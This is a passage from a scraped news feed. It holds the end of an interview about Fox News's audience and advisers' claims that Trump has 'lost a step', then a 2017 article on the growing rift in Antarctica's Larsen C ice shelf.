These are people whose habits are set, and they come home or they sit at home—a lot of these people are shut-ins—and they click on Fox in the morning and they just keep it on all day. It doesn’t really matter the content of the programming, except it has to remain reliably conservative and somewhat conspiratorial.

At this point the audience is baked in, and it’s a very stable audience. But we should point out that it’s not a growing audience. The ratings still dominate the cable race, but it’s a very static, set number. This is not a growth industry, and we’ve seen in fact, in online media, the growth and explosion of sites like Breitbart, which have tapped into this new generation of the younger, Gamergate kind of guys. That is the more dynamic part of the ring-wing movement.

To turn to Trump: Do you really sense that he’s declining in noticeable ways, and is this a widespread fear in the White House?

One thing that I reported this week in my Vanity Fair piece is that one of the reasons Trump has cocooned himself inside the Fox News bubble—granting basically his only live television interviews to Sean Hannity, Fox & Friends, and Mike Huckabee—is that, if you talk to Trump advisers, they’ll tell you he has lost a step.

Recently, he was supposed to appear on the season premiere of 60 Minutes, and Trump declined to do the interview, but it was discussed, and Trump advisers breathed the sigh of relief that that interview didn’t happen. The idea of Trump being in an adversarial live TV interview where the audience and viewers could see him flailing and rambling I think was cringe-worthy to his inner circle.

fox news trumpRichard Drew/AP

When I hear usually secondhand from people who worked for Trump or talk to reporters who talked to these people, there seems to be almost nobody in the White House who has anything other than contempt for Trump—no one who really seems to believe in him, and everyone seems to treat him like a child. Is that a fair accounting, according to your reporting?

I think that’s generally fair. There are a few exceptions—some of the campaign loyalists, like Dan Scavino and Hope Hicks, and some of the longtime Trump confidants who he’s brought into the West Wing.

I think the best way to put it is that these men and women say, This man was democratically elected. This is the system. We had the Electoral College for better or worse. The American people wound up with this president, so they are doing their best to serve the country even if they see on a daily basis things that are completely illogical.

So when they express dismay over Trump’s mental state or his managerial abilities or lack thereof, do people talk about him like he’s like an uncle who says embarrassing things? Are people actually scared of where the country is headed? Did they not care because they’re nihilists? I think it’s all of the above. I can’t speak, obviously, to the calculations that I’m sure anyone in the West Wing is making about why they’re there and why they’re working in this administration.

I had a very senior Trump adviser tell me this week that Trump’s lost a step. This adviser said that Trump reminded him of his grandmother when she started to lose it a little bit in her later years. This is the man that people who work with him see. People are there for their own ambition. People are there for the safety of the country—Gen. John Kelly and James Mattis and people who genuinely want to protect the national security of the United States. I think this will be a storyline that will continue to play out.

]]> https://briefnews.eu/how-the-symbiotic-relationship-between-trump-and-fox-news-has-fundamentally-changed-american-politics/feed/ 0 Imminent birth of vast iceberg threatens to ‘fundamentally change’ Antarctic https://briefnews.eu/imminent-birth-of-vast-iceberg-threatens-to-fundamentally-change-antarctic/ https://briefnews.eu/imminent-birth-of-vast-iceberg-threatens-to-fundamentally-change-antarctic/#respond Thu, 01 Jun 2017 17:21:15 +0000 http://briefnews.eu/imminent-birth-of-vast-iceberg-threatens-to-fundamentally-change-antarctic/

The massive crack in the Antarctic’s Larsen C Ice Shelf – one of the continent’s biggest floating ice platforms – is growing at such a dramatic rate that it will soon break free and create one of the largest icebergs ever recorded.

Project MIDAS researchers, a group of scientists from Welsh universities in Swansea and Aberystwyth charged with studying the shelf using EU satellites, released an update on Wednesday. It showed that the crack had grown an additional 17km (10.5 miles) between May 25 and May 31.

The massive shelf now has only 13km to go before it breaks away completely and floats alone in the southern ocean. When the inevitable happens, the Larsen C ice shelf will lose more than 10 percent of its 5,000 sq km surface area.

“The rift tip appears also to have turned significantly towards the ice front, indicating that the time of calving [breaking] is probably very close,” the researchers wrote in a blog post. “There appears to be very little to prevent the iceberg from breaking away completely.”

READ MORE: Going green: Climate change having ‘dramatic’ effect on Antarctica’s complexion 

When it eventually breaks free it will leave that section of the Antarctic ice front at its most retreated position ever recorded and will “fundamentally change the landscape of the Antarctic Peninsula.”

Researchers are now concerned that once the area breaks free it will leave Larsen C less stable than it was and that the ice shelf will follow the example of its neighbor, Larsen B, which disintegrated in 2002 following a similar event.

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